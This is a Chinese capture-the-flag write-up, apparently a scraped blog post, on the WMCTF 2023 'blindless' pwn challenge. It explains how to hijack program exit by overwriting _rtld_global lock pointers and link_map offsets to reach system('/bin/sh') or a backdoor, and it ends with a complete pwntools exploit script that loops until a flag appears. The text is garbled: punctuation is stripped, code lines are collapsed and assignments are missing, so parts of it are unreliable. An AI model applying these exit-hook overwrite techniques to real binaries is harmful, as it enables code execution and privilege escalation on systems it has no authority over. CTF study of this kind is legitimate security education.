网站跳转域名不变,西安都有哪些公司,定制网站建设费用,百度注册网站怎么弄0x01 前言
在计算机安全领域#xff0c;漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天#xff0c;我们将深入探讨一个异常危险的漏洞#xff0c;它存在于程序退出时执行的常见函数exit中。无论是在操作系统还是应用程序中#xff0c;exit漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天我们将深入探讨一个异常危险的漏洞它存在于程序退出时执行的常见函数exit中。无论是在操作系统还是应用程序中exit都是一个普遍存在的函数通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。
这个漏洞的威胁性在于它不仅存在于各种程序中而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码获取系统权限或者实施其他恶意行为。要理解这个漏洞的威胁我们需要深入分析其背后的原理以及不同的利用方式。
在本文中我们将探讨这个漏洞的具体情况并详细分析了两种主要的利用方式一种是将程序流转向libc库中的函数另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理并展示了一个实际漏洞利用的示例。
blindless是来自WMCTF 2023比赛的一个题目虽然难度不高但要深入理解并利用其中的漏洞需要花费大量时间。本文总结了有关exit_hook2libc和exit_hook2elf的利用方法旨在分享给大家学习。这题的关键是深入理解程序退出时执行的exit函数以及如何通过不同方式实现漏洞利用。
0x02 exit_hook的n种姿势 基地址放在此处供各位参考一下用于计算指令偏移。
exit_hook2libc
首先是p _rtld_global看地址他有一个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive的元素可以改来调用。 注意一定要用docker或者虚拟机否则没有符号表会特别坐牢 执行p _rtld_global。看到那两个rtld_lock_default_lock_recursive和rtld_lock_default_unlock_recursive吗就是他们两个。我们可以修改他们的内容从而作为exithook进行调用直接call。把后面的东西复制过来p xxx就可以查看其地址了。 注意看这个程序叫小帅他调用的第一个参数就是rdi是_rtld_global2312我们可以控制他的参数为/bin/sh\x00然后做坏坏的事情如果能把rtld_lock_default_lock_recursive也改成system的话。 然后rtld_lock_default_unlock_recursive的参数也是2312这个偏移。 注意这个2312是十进制。 好的我们就修改这两个地方就可以为所欲为了但是exit_hook到这里还没完。
并且严格来说这里并不是完全的exit_hook2libc如果知道elf的地址也完全可以返回到elf上的函数。
接下来还有更骚的可以控制到程序上的地址直接跳转或者间接取地址跳转。
exit_hook2elf
1.间接call
这个在这里第一个是间接call即指令是call qword ptr [寄存器]意思就是从寄存器的地址指向的内存里取地址然后call。
对于间接call的利用我们可以修改他的偏移到任意函数got表然后配合参数rdi_rtld_global2312使用。 例如修改_rtld_global2312为/bin/sh\x00 这个的基地址和偏移是存在于link_map的这样可以找到他的地址。 调试可以看到他会从这个地址的内存中取elf基地址然后通过link_map地址0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址0x110是存第一个间接call的偏移的。 注意存的是偏移-8的地址也就是如果要改的话要改成目标-8。 2.直接call
link_map地址0xa8是存第二个直接call的偏移 注意存的是偏移-8的地址也就是如果要改的话要改成目标-8。 如果改偏移的话能改最好还能直接形成调用链子。但是如果没有偏移就只能改基地址了——也就是p l出来那儿。但是这样肯定会损坏第一次call r14的会导致无法正常进行。
但是发现有一个地方判断可以跳过call r14。 就是这里test edx,edx是edx和edx相互and留下标志位。简单来说就是如果是0那么不跳转。如果是1那么跳转。 在x86汇编中je 指令的作用是 1. 检查零标志位ZF是否被设置为 1。 2. 如果零标志位被设置为 1将进行跳转到指定的目标位置。 回溯发现是从link_map0x120取来的地址也就是说想要这里为0就把那里的地址指向为0的地方即可不过也要注意这里取的是地址8也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。 完成这个操作就可以修改基地址达到任意直接call的效果了即使没有泄露也可直接返回到程序上比如此题有后门。如果有那就是为所欲为和前面一样如果有泄露真的就是为所欲为了。
0x03 exp
那么本题目由于有brainfuck函数可以执行任意地址写则根据前面的exit_hook可以做到提权。
from pwn import *n2b lambda x : str(x).encode()
rv lambda x : p.recv(x)
rl lambda :p.recvline()
ru lambda s : p.recvuntil(s)
sd lambda s : p.send(s)
sl lambda s : p.sendline(s)
sn lambda s : sl(n2b(n))
sa lambda t, s : p.sendafter(t, s)
sla lambda t, s : p.sendlineafter(t, s)
sna lambda t, n : sla(t, n2b(n))
ia lambda : p.interactive()
rop lambda r : flat([p64(x) for x in r])
uu64lambda data :u64(data.ljust(8,b\x00))while True:context(oslinux, archamd64, log_leveldebug)p process(./main)context.terminal [tmux,new-window ,-n,-c]#gdb.attach(p)sla(ze,b-10)#分配到libc上用mmapsla(ze,b256)pay bp32(2148618432)#到ld的地址0x2f190的偏移pay bp32(2148618432)pay b. b\xb1pay b. b\x7c#使得加了偏移之后是后门函数地址pay bp32(0x11f)#修改0x120的地址指向0跳过call r14pay b. b\x00pay bqsla(code\n,pay)re p.recvrepeat(0.1)#一直接收直到有回显#如果是system的话可以发一个cat flag再这样#这是个很好的爆破方式学习学习if re:print(pwned!get your flag here:,re)exit(0)p.close()